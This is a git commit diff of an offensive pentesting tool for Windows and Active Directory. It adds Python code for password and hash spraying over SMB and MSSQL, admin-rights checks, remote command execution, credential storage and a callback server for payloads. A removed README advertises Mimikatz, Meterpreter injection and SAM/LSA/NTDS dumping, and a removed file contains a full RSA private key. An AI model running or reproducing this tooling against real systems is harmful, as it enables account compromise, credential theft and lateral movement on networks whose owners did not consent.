Initial v3.0 commit to master

Quick re-cap on the new features:

* Credentials and hosts are now stored in a database, the cme_db.py script can be used to query it
* Module system has been implemented allowing anyone to create payloads
* All underlying powershell code has been ported to a module
* The HTTP/HTTPS server now tracks connections: no more guessing when to CTRL-C
* All around better code quality, error handling and logging
main
byt3bl33d3r 2016-03-27 15:17:18 -06:00
parent 792a631fe2
commit 10a12a9a0f
76 changed files with 4109 additions and 27454 deletions

1
.gitignore vendored
View File

@ -1,3 +1,4 @@
data/cme.db
*.log
# Byte-compiled / optimized / DLL files
__pycache__/

3
.gitmodules vendored Normal file
View File

@ -0,0 +1,3 @@
[submodule "data/PowerSploit"]
path = data/PowerSploit
url = https://github.com/PowerShellMafia/PowerSploit

24
LICENSE
View File

@ -1,24 +0,0 @@
Copyright (c) 2015, byt3bl33d3r
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

150
README.md
View File

@ -42,154 +42,6 @@ Just a little demo showing off the basics
[![demo](https://asciinema.org/a/29787.png)](https://asciinema.org/a/29787)
#Usage
```
______ .______ ___ ______ __ ___ .___ ___. ___ .______ _______ ___ ___ _______ ______
/ || _ \ / \ / || |/ / | \/ | / \ | _ \ | ____|\ \ / / | ____| / |
| ,----'| |_) | / ^ \ | ,----'| ' / | \ / | / ^ \ | |_) | | |__ \ V / | |__ | ,----'
| | | / / /_\ \ | | | < | |\/| | / /_\ \ | ___/ | __| > < | __| | |
| `----.| |\ \----. / _____ \ | `----.| . \ | | | | / _____ \ | | | |____ / . \ | |____ | `----.
\______|| _| `._____|/__/ \__\ \______||__|\__\ |__| |__| /__/ \__\ | _| |_______|/__/ \__\ |_______| \______|
Swiss army knife for pentesting Windows/Active Directory environments | @byt3bl33d3r
Powered by Impacket https://github.com/CoreSecurity/impacket (@agsolino)
Inspired by:
@ShawnDEvans's smbmap https://github.com/ShawnDEvans/smbmap
@gojhonny's CredCrack https://github.com/gojhonny/CredCrack
@pentestgeek's smbexec https://github.com/pentestgeek/smbexec
Version: 2.3
Codename: 'Pink Bubbles'
positional arguments:
target The target IP(s), range(s), CIDR(s), hostname(s), FQDN(s) or file(s) containg a list of targets
optional arguments:
-h, --help show this help message and exit
-v, --version show program's version number and exit
-t THREADS Set how many concurrent threads to use (defaults to 100)
-u [USERNAME [USERNAME ...]]
Username(s) or file(s) containing usernames
-p [PASSWORD [PASSWORD ...]]
Password(s) or file(s) containing passwords
-H [HASH [HASH ...]] NTLM hash(es) or file(s) containing NTLM hashes
-C COMBO_FILE Combo file containing pwdump formatted entries or list of domain\username:password or username:password entries
-k HEX_KEY AES key to use for Kerberos Authentication (128 or 256 bits)
-d DOMAIN Domain name
-n NAMESPACE WMI Namespace (default: //./root/cimv2)
-s SHARE Specify a share (default: C$)
--kerb Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters
--port {139,445} SMB port (default: 445)
--server {http,https}
Use the selected server (defaults to https)
--server-port PORT Start the server on the specified port
--timeout TIMEOUT Max timeout in seconds of each thread (default: 20)
--fail-limit LIMIT The max number of failed login attempts allowed per host (default: None)
--gfail-limit LIMIT The max number of failed login attempts allowed globally (default: None)
--verbose Enable verbose output
Credential Gathering:
Options for gathering credentials
--sam Dump SAM hashes from target systems
--lsa Dump LSA secrets from target systems
--gpp-passwords Retrieve plaintext passwords and other information for accounts pushed through Group Policy Preferences
--ntds {ninja,vss,drsuapi}
Dump the NTDS.dit from target DCs using the specifed method
(drsuapi is the fastest)
--ntds-history Dump NTDS.dit password history
--ntds-pwdLastSet Shows the pwdLastSet attribute for each NTDS.dit account
--mimikatz Run Invoke-Mimikatz (sekurlsa::logonpasswords) on target systems
--mimikatz-cmd MIMIKATZ_CMD
Run Invoke-Mimikatz with the specified command
--enable-wdigest Creates the 'UseLogonCredential' registry key enabling WDigest cred dumping on Windows >= 8.1
--disable-wdigest Deletes the 'UseLogonCredential' registry key
Mapping/Enumeration:
Options for Mapping/Enumerating
--shares List shares
--tokens Enumerate available tokens
--check-uac Checks UAC status
--sessions Enumerate active sessions
--disks Enumerate disks
--users Enumerate users
--rid-brute [MAX_RID]
Enumerate users by bruteforcing RID's (defaults to 4000)
--pass-pol Dump password policy
--lusers Enumerate logged on users
--powerview POWERVIEW_CMD
Run the specified PowerView command
--wmi QUERY Issues the specified WMI query
Spidering:
Options for spidering shares
--spider [FOLDER] Folder to spider (defaults to top level directory)
--content Enable file content searching
--exclude-dirs DIR_LIST
Directories to exclude from spidering
--pattern PATTERN Pattern to search for in folders, filenames and file content
--patternfile PATTERNFILE
File containing patterns to search for in folders, filenames and file content
--depth DEPTH Spider recursion depth (default: 10)
Command Execution:
Options for executing commands
--execm {atexec,wmi,smbexec}
Method to execute the command (default: wmi)
--ps-arch {auto,64,32}
Process architecture all PowerShell code/commands should run in (default: auto)
--no-output Do not retrieve command output
-x COMMAND Execute the specified command
-X PS_COMMAND Excute the specified powershell command
Shellcode/EXE/DLL/Meterpreter Injection:
Options for injecting Shellcode/EXE/DLL/Meterpreter in memory using PowerShell
--inject {met_reverse_http,met_reverse_https,exe,shellcode,dll}
Inject Shellcode, EXE, DLL or Meterpreter
--path PATH Path to the Shellcode/EXE/DLL you want to inject on the target systems (ignored if injecting Meterpreter)
--procid PROCID Process ID to inject the Shellcode/EXE/DLL/Meterpreter into (if omitted, will inject within the running PowerShell process)
--exeargs EXEARGS Arguments to pass to the EXE being reflectively loaded (ignored if not injecting an EXE)
--met-options LHOST LPORT
Meterpreter options (ignored if not injecting Meterpreter)
Filesystem Interaction:
Options for interacting with filesystems
--list [PATH] List contents of a directory (defaults to top level directory)
--download SRC DST Download a file from the remote systems
--upload SRC DST Upload a file to the remote systems
--delete PATH Delete a remote file
Service Interaction:
Options for interacting with Windows services
--service {status,list,create,stop,start,config,change,delete}
--name NAME Service name
--display NAME Service display name
--bin-path PATH Binary path
--service-type TYPE Service type
--start-type TYPE Service start type
--start-name NAME Name of the account under which the service should run
--start-pass PASS Password of the account whose name was specified with the --start-name parameter
MSSQL Interaction:
Options for interacting with MSSQL DB's
--mssql Authenticate with the provided credentials against the MSSQL service
--mssql-port PORT MSSQL service port (default: 1433)
--mssql-query QUERY Execute the specifed query against the MSSQL DB
Hut Hut! Wat Wat!
```
#To do
- ~~Kerberos support~~
- ~~Execute custom commands with mimikatz~~
- Add a plugin system (??)
- Kerberos support
- ~~0wn everything~~

View File

@ -1,18 +0,0 @@
-----BEGIN CERTIFICATE-----
MIIC0zCCAbugAwIBAgIJAK5fcOapCL5/MA0GCSqGSIb3DQEBCwUAMAAwHhcNMTYw
MzEyMDQ1OTE5WhcNMjYwMzEwMDQ1OTE5WjAAMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEAuc5V+IPctMxLeGtQ2oUyzkz2gb5ingA6lnlwYu1pNtrEF4mz
qPMUW0wPRkZemvxlbhKFNUD+UTWvFBA3msYBB0QPaaZeFlwWCsqsN0vHiStzfucZ
pCvTg28XqNUDyyqlsAOQ1fUVykVEkCk8hf59MJGUvraFHfVwFuAlbRHxFxpOqB5G
PEjuM2DiWXjcUWtB3tp5gfsUSvZXsIEca/M1yUBWSRhxshXeW3QhYn57Izuw0Cyu
TBZiQzSbWcXogMQzJi5g/nAPJvM4yyI6lTjra2ZyFHWuw5Deh5wrlI6aTiwNGnPn
TqEZiD4xvoFNTepuSzfyQudfR63kADsVfGOPlwIDAQABo1AwTjAdBgNVHQ4EFgQU
mR9gA/7EeOpxkrRLxoJgBxn72bMwHwYDVR0jBBgwFoAUmR9gA/7EeOpxkrRLxoJg
Bxn72bMwDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEABH9ispFBpRHg
xr225ea4QgNrGrFhL/rwxLFYgrZyRhExY75A2t9q32cThE2cnyid16TfA9oMGNNn
B7CHls7ZSC52ONrrG3kZjKFwI2172vGkYJHlKU7zPKBcz+5V8zvWfrrABKJg4khP
CI/GtBUyKqG9WlLsoK8pf/B4oIxbQTQ4Jojn1TWmvD7oO4PHE3CHTtOoULKygCK1
vYbW9RSPTALUmTamDiE6+/6TeSCp3nJUiESgFgsWoQTu65puEXoPBU91v39mqc5H
PYpc2beE0SbO5z48lBSsqU2mSEe/2ctgyFcvd/leK1JiVsJ19uHfI9nGWaQ/J28Q
wi+Akjc5ug==
-----END CERTIFICATE-----

View File

@ -1,27 +0,0 @@
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAuc5V+IPctMxLeGtQ2oUyzkz2gb5ingA6lnlwYu1pNtrEF4mz
qPMUW0wPRkZemvxlbhKFNUD+UTWvFBA3msYBB0QPaaZeFlwWCsqsN0vHiStzfucZ
pCvTg28XqNUDyyqlsAOQ1fUVykVEkCk8hf59MJGUvraFHfVwFuAlbRHxFxpOqB5G
PEjuM2DiWXjcUWtB3tp5gfsUSvZXsIEca/M1yUBWSRhxshXeW3QhYn57Izuw0Cyu
TBZiQzSbWcXogMQzJi5g/nAPJvM4yyI6lTjra2ZyFHWuw5Deh5wrlI6aTiwNGnPn
TqEZiD4xvoFNTepuSzfyQudfR63kADsVfGOPlwIDAQABAoIBAQCRNbJ2gAcyvR6W
Q7hyrvpfxEI6b6H+vUsMYmf0yHobxqjNhG6GMULNfwnI8CHrmili9tJoJh0bNotX
cL0kFm6jUQuCk+SgMOOBF5ezt2N/zhd7K/0cEqxA4cdpyOAoHXJTttWwgNPAupW0
3KVSSutn076dtWMfYLtzBUX6kbULSct2ycjoTq1qLu07Jz8ki7QafsUkGZ+HHAkT
eXGqDV4cH4kt+fAIQ27CdSjvzjNpxnJJYKZJF6TfxvFaW5uSa7AutgcPxNt2O0Z1
Ds6QRC5YWIO/1YtS9kEaXa4py/0ds4HXTkdo0+GMIPry5f9uE3qwQYqlOevFCcLa
xIGumyLBAoGBAPCl2O7JWkhnx6Ibs3C5FKCUckEQ8u3m3hn5V1xHZSucZerhqTU4
D8BdGDq/SSiq03QgE5/M4fjrQfkeJ9pZi4QLaSz1y57zkHVY4PnJ7Tnci7d5UFLD
i8Ra+leGAT9zw1eZwJUo4EaGfKbkbEtdV423+ZIsLK0fuKAhHAmZl5IRAoGBAMWo
1ghBnyMRJHmUqxFthOunTNJpvZaJtCKlvyHhhfOn2gsM5Aj+Zmh/eVf2fkpX46nS
BXH5JGhETjxh1tNfrN7BfZwMV2jCBZ9tY+mt7Bqoj6KF07PJZCiTgIcEPCs7QHm1
rmYnp/YLY9cGlOk1Q9noqZfYaIoyAcLiX5JNmF8nAoGBAL1ugA6wF86pSv+z+JPC
TZd+Y1YOxnw5YRpnKbqtRNmImr3Dd1Q6VkPhxIHyM9+8YQmnemsvd65fWqaEc3Cx
Tl7aMKfAsNHl/xAwr6BRsNj8YEtERtNvtOUTjL868F6HfPzHPk7sR2ec1CD37LuC
tboMWXwUI/L/5nC+v3hbHHJRAoGABQcVYqJgrOCrv9fzPf8+KUxZHOUJqIGaLmNu
6Cq3YIo9dph+WGg4LKJJcN5ZOgTgSpqH/u0qauiJ4OlQMJI3cHcVfdmmg4ij4flD
WFdPMSJmfOjQiLsvrASMeWK3MRZRvobLh9esYwrJIFgPg5sSPcG4Rp9/kTxSZSWi
7rLAlHMCfxEh+cEwA9RMIrS2HqxMP2dGSHlV49WslwYIGkxqU3VBOT7NV2QcTpcR
/E1NRoEwZdWwx37MfMD8gkpcyABQKPY0ztf4ErHDr7BYQvuDQxLyvJCHXoA7wZEM
oCJPLma2PWxLxQZ4hVN6qBz0J8JFEPZbHWia9og6rnmiqS7hWLs=
-----END RSA PRIVATE KEY-----

View File

@ -1,3 +0,0 @@
#!/bin/bash
openssl genrsa -out crackmapexec.key 2048
openssl req -new -x509 -days 3650 -key cme.key -out cme.crt -subj "/"

70
cme_db.py Normal file
View File

@ -0,0 +1,70 @@
import cmd
import sqlite3
import sys
class CMEDatabaseNavigator(cmd.Cmd):
def __init__(self):
cmd.Cmd.__init__(self)
self.prompt = 'cmedb > '
try:
# set the database connectiont to autocommit w/ isolation level
self.conn = sqlite3.connect('data/cme.db', check_same_thread=False)
self.conn.text_factory = str
self.conn.isolation_level = None
except Exception as e:
print "Could not connect to database: {}".format(e)
sys.exit(1)
def do_exit(self, line):
sys.exit(0)
def do_hosts(self, line):
cur = self.conn.cursor()
cur.execute("SELECT * FROM hosts")
hosts = cur.fetchall()
cur.close()
print "\nHosts:\n"
print " HostID IP Hostname Domain OS"
print " ------ -- -------- ------ --"
for host in hosts:
# (id, ip, hostname, domain, os)
hostID = host[0]
ip = host[1]
hostname = host[2]
domain = host[3]
os = host[4]
print u" {}{}{}{}{}".format('{0: <8}'.format(hostID), '{0: <17}'.format(ip), '{0: <25}'.format(hostname), '{0: <17}'.format(domain), '{0: <17}'.format(os))
print ""
def do_creds(self, line):
cur = self.conn.cursor()
cur.execute("SELECT * FROM credentials")
creds = cur.fetchall()
cur.close()
print "\nCredentials:\n"
print " CredID CredType Domain UserName Password"
print " ------ -------- ------ -------- --------"
for cred in creds:
# (id, credtype, domain, username, password, host, notes, sid)
credID = cred[0]
credType = cred[1]
domain = cred[2]
username = cred[3]
password = cred[4]
print u" {}{}{}{}{}".format('{0: <8}'.format(credID), '{0: <11}'.format(credType), '{0: <25}'.format(domain), '{0: <17}'.format(username), '{0: <17}'.format(password))
print ""
if __name__ == '__main__':
cmedbnav = CMEDatabaseNavigator()
cmedbnav.cmdloop()

85
core/cmeserver.py Normal file
View File

@ -0,0 +1,85 @@
import BaseHTTPServer
import threading
import ssl
from BaseHTTPServer import BaseHTTPRequestHandler
from logging import getLogger
from gevent import sleep
from core.helpers import highlight
from core.logger import CMEAdapter
class RequestHandler(BaseHTTPRequestHandler):
def log_message(self, format, *args):
server_logger = CMEAdapter(getLogger('CME'), {'module': self.server.module.name.upper(), 'host': self.client_address[0]})
server_logger.info("- - %s" % (format%args))
def do_GET(self):
if hasattr(self.server.module, 'on_request'):
server_logger = CMEAdapter(getLogger('CME'), {'module': self.server.module.name.upper(), 'host': self.client_address[0]})
self.server.context.log = server_logger
self.server.module.on_request(self.server.context, self)
def do_POST(self):
if hasattr(self.server.module, 'on_response'):
server_logger = CMEAdapter(getLogger('CME'), {'module': self.server.module.name.upper(), 'host': self.client_address[0]})
self.server.context.log = server_logger
self.server.module.on_response(self.server.context, self)
def stop_tracking_host(self):
'''
This gets called when a module has finshed executing, removes the host from the connection tracker list
'''
try:
self.server.hosts.remove(self.client_address[0])
except ValueError:
pass
class CMEServer(threading.Thread):
def __init__(self, module, context, port, server_type='https'):
try:
threading.Thread.__init__(self)
self.server = BaseHTTPServer.HTTPServer(('0.0.0.0', int(port)), RequestHandler)
self.server.hosts = []
self.server.module = module
self.server.context = context
self.server.log = context.log
if server_type == 'https':
self.server.socket = ssl.wrap_socket(self.server.socket, certfile='data/cme.pem', server_side=True)
except Exception as e:
print 'Error starting CME Server: {}'.format(e)
def base_server(self):
return self.server
def run(self):
try:
self.server.serve_forever()
except:
pass
def shutdown(self):
try:
while len(self.server.hosts) > 0:
self.server.log.info('Waiting on {} host(s)'.format(highlight(len(self.server.hosts))))
sleep(15)
except KeyboardInterrupt:
pass
# shut down the server/socket
self.server.shutdown()
self.server.socket.close()
self.server.server_close()
self._Thread__stop()
# make sure all the threads are killed
for thread in threading.enumerate():
if thread.isAlive():
try:
thread._Thread__stop()
except:
pass

205
core/connection.py Normal file
View File

@ -0,0 +1,205 @@
from core.helpers import highlight
from core.execmethods.mssqlexec import MSSQLEXEC
from core.execmethods.wmiexec import WMIEXEC
from core.execmethods.smbexec import SMBEXEC
from core.execmethods.atexec import TSCH_EXEC
from impacket.dcerpc.v5 import transport, scmr
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.smbconnection import SessionError
class Connection:
def __init__(self, args, db, target, server_name, domain, conn, logger, cmeserver):
self.args = args
self.db = db
self.host = target
self.hostname = server_name
self.domain = domain
self.conn = conn
self.logger = logger
self.cmeserver = cmeserver
self.password = None
self.username = None
self.hash = None
self.admin_privs = False
self.login()
def check_if_admin(self):
if self.args.mssql:
try:
#I'm pretty sure there has to be a better way of doing this.
#Currently we are just searching for our user in the sysadmin group
self.conn.sql_query("EXEC sp_helpsrvrolemember 'sysadmin'")
query_output = self.conn.printRows()
if query_output.find('{}\\{}'.format(self.domain, self.username)) != -1:
self.admin_privs = True
except:
pass
elif not self.args.mssql:
'''
We use the OpenSCManagerW Win32API call to to establish a handle to the remote host.
If this succeeds, the user context has administrator access to the target.
Idea stolen from PowerView's Invoke-CheckLocalAdminAccess
'''
stringBinding = r'ncacn_np:{}[\pipe\svcctl]'.format(self.host)
rpctransport = transport.DCERPCTransportFactory(stringBinding)
rpctransport.set_dport(self.args.smb_port)
lmhash = ''
nthash = ''
if self.hash:
lmhash, nthash = self.hash.split(':')
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(self.username, self.password if self.password is not None else '', self.domain, lmhash, nthash)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(scmr.MSRPC_UUID_SCMR)
lpMachineName = '{}\x00'.format(self.host)
try:
# 0xF003F - SC_MANAGER_ALL_ACCESS
# http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
resp = scmr.hROpenSCManagerW(dce, lpMachineName, 'ServicesActive\x00', 0xF003F)
self.admin_privs = True
except DCERPCException:
pass
def plaintext_login(self, username, password):
try:
if self.args.mssql:
res = self.conn.login(None, username, password, self.domain, None, True)
if res is not True:
self.conn.printReplies()
return False
elif not self.args.mssql:
self.conn.login(username, password, self.domain)
self.password = password
self.username = username
self.check_if_admin()
self.db.add_credential('plaintext', self.domain, username, password)
out = u'{}\\{}:{} {}'.format(self.domain,
username,
password,
highlight('(Pwn3d!)') if self.admin_privs else '')
self.logger.success(out)
return True
except SessionError as e:
self.logger.error(u'{}\\{}:{} {}'.format(self.domain, username, password, str(e).split(':')[1]))
return False
def hash_login(self, username, ntlm_hash):
lmhash, nthash = ntlm_hash.split(':')
try:
if self.args.mssql:
res = self.conn.login(None, username, '', self.domain, ntlm_hash, True)
if res is not True:
self.conn.printReplies()
return False
elif not self.args.mssql:
self.conn.login(username, '', self.domain, lmhash, nthash)
self.hash = ntlm_hash
self.username = username
self.check_if_admin()
self.db.add_credential('hash', self.domain, username, ntlm_hash)
out = u'{}\\{} {} {}'.format(self.domain,
username,
ntlm_hash,
highlight('(Pwn3d!)') if self.admin_privs else '')
self.logger.success(out)
return True
except SessionError as e:
self.logger.error(u'{}\\{} {} {}'.format(self.domain, username, ntlm_hash, str(e).split(':')[1]))
return False
def login(self):
if self.args.local_auth:
self.domain = self.hostname
for user in self.args.username:
if type(user) is file:
for usr in user:
if self.args.hash:
for ntlm_hash in self.args.hash:
if type(ntlm_hash) is not file:
if self.hash_login(usr.strip(), ntlm_hash): return
elif type(ntlm_hash) is file:
for f_hash in ntlm_hash:
if self.hash_login(usr.strip(), f_hash.strip()): return
elif self.args.password:
for password in self.args.password:
if type(password) is not file:
if self.plaintext_login(usr.strip(), password): return
elif type(password) is file:
for f_pass in password:
if self.plaintext_login(usr.strip(), f_pass.strip()): return
elif type(user) is not file:
if self.args.hash:
for ntlm_hash in self.args.hash:
if type(ntlm_hash) is not file:
if self.hash_login(user, ntlm_hash): return
elif type(ntlm_hash) is file:
for f_hash in ntlm_hash:
if self.hash_login(user, f_hash.strip()): return
elif self.args.password:
for password in self.args.password:
if type(password) is not file:
if self.plaintext_login(user, password): return
elif type(password) is file:
for f_pass in password:
if self.plaintext_login(user, f_pass.strip()): return
def execute(self, payload, get_output=False, method=None):
if self.args.mssql:
exec_method = MSSQLEXEC(self.conn)
elif not self.args.mssql:
if not method:
method = self.args.exec_method
if method == 'wmiexec':
exec_method = WMIEXEC(self.host, self.username, self.password, self.domain, self.conn, self.hash, self.args.share)
elif method == 'smbexec':
exec_method = SMBEXEC(self.host, self.args.smb_port, self.username, self.password, self.domain, self.hash, self.args.share)
elif method == 'atexec':
exec_method = TSCH_EXEC(self.host, self.username, self.password, self.domain, self.hash) #self.args.share)
if self.cmeserver:
if hasattr(self.cmeserver.server.module, 'on_request') or hasattr(self.cmeserver.server.module, 'on_response'):
self.cmeserver.server.hosts.append(self.host)
output = exec_method.execute(payload, get_output)
return u'{}'.format(output.strip())

196
core/connector.py Normal file
View File

@ -0,0 +1,196 @@
from impacket.smbconnection import SMBConnection, SessionError
from impacket.nmb import NetBIOSError
from impacket import tds
from core.mssql import *
from impacket.dcerpc.v5.rpcrt import DCERPCException
from core.connection import Connection
from logging import getLogger
from core.logger import CMEAdapter
from core.context import Context
from core.helpers import create_ps_command
from StringIO import StringIO
from core.enum.shares import ShareEnum
from core.enum.uac import UAC
from core.enum.rpcquery import RPCQUERY
from core.enum.passpol import PassPolDump
from core.enum.users import SAMRDump
from core.enum.wmiquery import WMIQUERY
from core.enum.lookupsid import LSALookupSid
from core.credentials.secretsdump import DumpSecrets
from core.credentials.wdigest import WDIGEST
from core.spider.smbspider import SMBSpider
import socket
def connector(target, args, db, module, context, cmeserver):
try:
smb = SMBConnection(target, target, None, args.smb_port)
#Get our IP from the socket
local_ip = smb.getSMBServer().get_socket().getsockname()[0]
#Get the remote ip address (in case the target is a hostname)
remote_ip = smb.getRemoteHost()
try:
smb.login('' , '')
except SessionError as e:
if "STATUS_ACCESS_DENIED" in e.message:
pass
domain = smb.getServerDomain()
servername = smb.getServerName()
serveros = smb.getServerOS()
if not domain:
domain = servername
db.add_host(remote_ip, servername, domain, serveros)
logger = CMEAdapter(getLogger('CME'), {'host': remote_ip, 'port': args.smb_port, 'hostname': u'{}'.format(servername)})
logger.info(u"{} (name:{}) (domain:{})".format(serveros, servername, domain))
try:
'''
DC's seem to want us to logoff first
Windows workstations sometimes reset the connection, so we handle both cases here
(go home Windows, you're drunk)
'''
smb.logoff()
except NetBIOSError:
pass
except socket.error:
pass
if args.mssql:
instances = None
logger.extra['port'] = args.mssql_port
ms_sql = tds.MSSQL(target, args.mssql_port, logger)
ms_sql.connect()
instances = ms_sql.getInstances(10)
if len(instances) > 0:
logger.info("Found {} MSSQL instance(s)".format(len(instances)))
for i, instance in enumerate(instances):
logger.highlight("Instance {}".format(i))
for key in instance.keys():
logger.highlight(key + ":" + instance[key])
try:
ms_sql.disconnect()
except:
pass
if args.username and (args.password or args.hash):
conn = None
if args.mssql and (instances is not None and len(instances) > 0):
conn = tds.MSSQL(target, args.mssql_port, logger)
conn.connect()
elif not args.mssql:
conn = SMBConnection(target, target, None, args.smb_port)
if conn is None:
return
if args.domain:
domain = args.domain
connection = Connection(args, db, target, servername, domain, conn, logger, cmeserver)
if (connection.password is not None or connection.hash is not None) and connection.username is not None:
if module is not None:
module_logger = CMEAdapter(getLogger('CME'), {'module': module.name.upper(), 'host': remote_ip, 'port': args.smb_port, 'hostname': servername})
context = Context(db, module_logger, args)
context.localip = local_ip
cmeserver.server.context.localip = local_ip
if hasattr(module, 'on_login'):
module.on_login(context, connection)
if hasattr(module, 'on_admin_login') and connection.admin_privs:
module.on_admin_login(context, connection)
else:
if connection.admin_privs and (args.pscommand or args.command):
get_output = True if args.no_output is False else False
if args.mssql: args.exec_method = 'mssqlexec'
if args.command:
output = connection.execute(args.command, get_output=get_output, method=args.exec_method)
if args.pscommand:
output = connection.execute(create_ps_command(args.pscommand), get_output=get_output, method=args.exec_method)
logger.success('Executed command via {}'.format(args.exec_method))
buf = StringIO(output).readlines()
for line in buf:
logger.highlight(line.strip())
if args.mssql and args.mssql_query:
conn.sql_query(args.mssql_query)
query_output = conn.printRows()
logger.success('Executed MSSQL query')
buf = StringIO(query_output).readlines()
for line in buf:
logger.highlight(line.strip())
elif not args.mssql:
if connection.admin_privs and (args.sam or args.lsa or args.ntds):
secrets_dump = DumpSecrets(connection, logger)
if args.sam:
secrets_dump.SAM_dump()
if args.lsa:
secrets_dump.LSA_dump()
if args.ntds:
secrets_dump.NTDS_dump(args.ntds, args.ntds_pwdLastSet, args.ntds_history)
if connection.admin_privs and (args.enable_wdigest or args.disable_wdigest):
w_digest = WDIGEST(logger, connection.conn)
if args.enable_wdigest:
w_digest.enable()
elif args.disable_wdigest:
w_digest.disable()
if connection.admin_privs and args.uac:
UAC(connection.conn, logger).enum()
if args.enum_shares:
ShareEnum(connection.conn, logger).enum()
if args.enum_lusers or args.enum_disks or args.enum_sessions:
rpc_connection = RPCQUERY(connection, logger)
if connection.admin_privs and args.enum_lusers:
rpc_connection.enum_lusers()
if args.enum_sessions:
rpc_connection.enum_sessions()
if connection.admin_privs and args.enum_disks:
rpc_connection.enum_disks()
if args.pass_pol:
PassPolDump(logger, args.smb_port, connection).enum()
if args.enum_users:
SAMRDump(logger, args.smb_port, connection).enum()
if connection.admin_privs and args.wmi_query:
WMIQUERY(logger, connection, args.wmi_namespace).query(args.wmi_query)
if args.rid_brute:
LSALookupSid(logger, args.smb_port, connection, args.rid_brute).brute_force()
except socket.error:
return

12
core/context.py Normal file
View File

@ -0,0 +1,12 @@
import logging
class Context:
def __init__(self, db, logger, arg_namespace):
self.db = db
self.log = logger
self.log.debug = logging.debug
self.localip = None
for key, value in vars(arg_namespace).iteritems():
setattr(self, key, value)

View File

@ -0,0 +1,148 @@
from impacket.structure import Structure
# Structures
# Taken from http://insecurety.net/?p=768
class SAM_KEY_DATA(Structure):
structure = (
('Revision','<L=0'),
('Length','<L=0'),
('Salt','16s=""'),
('Key','16s=""'),
('CheckSum','16s=""'),
('Reserved','<Q=0'),
)
class DOMAIN_ACCOUNT_F(Structure):
structure = (
('Revision','<L=0'),
('Unknown','<L=0'),
('CreationTime','<Q=0'),
('DomainModifiedCount','<Q=0'),
('MaxPasswordAge','<Q=0'),
('MinPasswordAge','<Q=0'),
('ForceLogoff','<Q=0'),
('LockoutDuration','<Q=0'),
('LockoutObservationWindow','<Q=0'),
('ModifiedCountAtLastPromotion','<Q=0'),
('NextRid','<L=0'),
('PasswordProperties','<L=0'),
('MinPasswordLength','<H=0'),
('PasswordHistoryLength','<H=0'),
('LockoutThreshold','<H=0'),
('Unknown2','<H=0'),
('ServerState','<L=0'),
('ServerRole','<H=0'),
('UasCompatibilityRequired','<H=0'),
('Unknown3','<Q=0'),
('Key0',':', SAM_KEY_DATA),
# Commenting this, not needed and not present on Windows 2000 SP0
# ('Key1',':', SAM_KEY_DATA),
# ('Unknown4','<L=0'),
)
# Great help from here http://www.beginningtoseethelight.org/ntsecurity/index.htm
class USER_ACCOUNT_V(Structure):
structure = (
('Unknown','12s=""'),
('NameOffset','<L=0'),
('NameLength','<L=0'),
('Unknown2','<L=0'),
('FullNameOffset','<L=0'),
('FullNameLength','<L=0'),
('Unknown3','<L=0'),
('CommentOffset','<L=0'),
('CommentLength','<L=0'),
('Unknown3','<L=0'),
('UserCommentOffset','<L=0'),
('UserCommentLength','<L=0'),
('Unknown4','<L=0'),
('Unknown5','12s=""'),
('HomeDirOffset','<L=0'),
('HomeDirLength','<L=0'),
('Unknown6','<L=0'),
('HomeDirConnectOffset','<L=0'),
('HomeDirConnectLength','<L=0'),
('Unknown7','<L=0'),
('ScriptPathOffset','<L=0'),
('ScriptPathLength','<L=0'),
('Unknown8','<L=0'),
('ProfilePathOffset','<L=0'),
('ProfilePathLength','<L=0'),
('Unknown9','<L=0'),
('WorkstationsOffset','<L=0'),
('WorkstationsLength','<L=0'),
('Unknown10','<L=0'),
('HoursAllowedOffset','<L=0'),
('HoursAllowedLength','<L=0'),
('Unknown11','<L=0'),
('Unknown12','12s=""'),
('LMHashOffset','<L=0'),
('LMHashLength','<L=0'),
('Unknown13','<L=0'),
('NTHashOffset','<L=0'),
('NTHashLength','<L=0'),
('Unknown14','<L=0'),
('Unknown15','24s=""'),
('Data',':=""'),
)
class NL_RECORD(Structure):
structure = (
('UserLength','<H=0'),
('DomainNameLength','<H=0'),
('EffectiveNameLength','<H=0'),
('FullNameLength','<H=0'),
('MetaData','52s=""'),
('FullDomainLength','<H=0'),
('Length2','<H=0'),
('CH','16s=""'),
('T','16s=""'),
('EncryptedData',':'),
)
class SAMR_RPC_SID_IDENTIFIER_AUTHORITY(Structure):
structure = (
('Value','6s'),
)
class SAMR_RPC_SID(Structure):
structure = (
('Revision','<B'),
('SubAuthorityCount','<B'),
('IdentifierAuthority',':',SAMR_RPC_SID_IDENTIFIER_AUTHORITY),
('SubLen','_-SubAuthority','self["SubAuthorityCount"]*4'),
('SubAuthority',':'),
)
def formatCanonical(self):
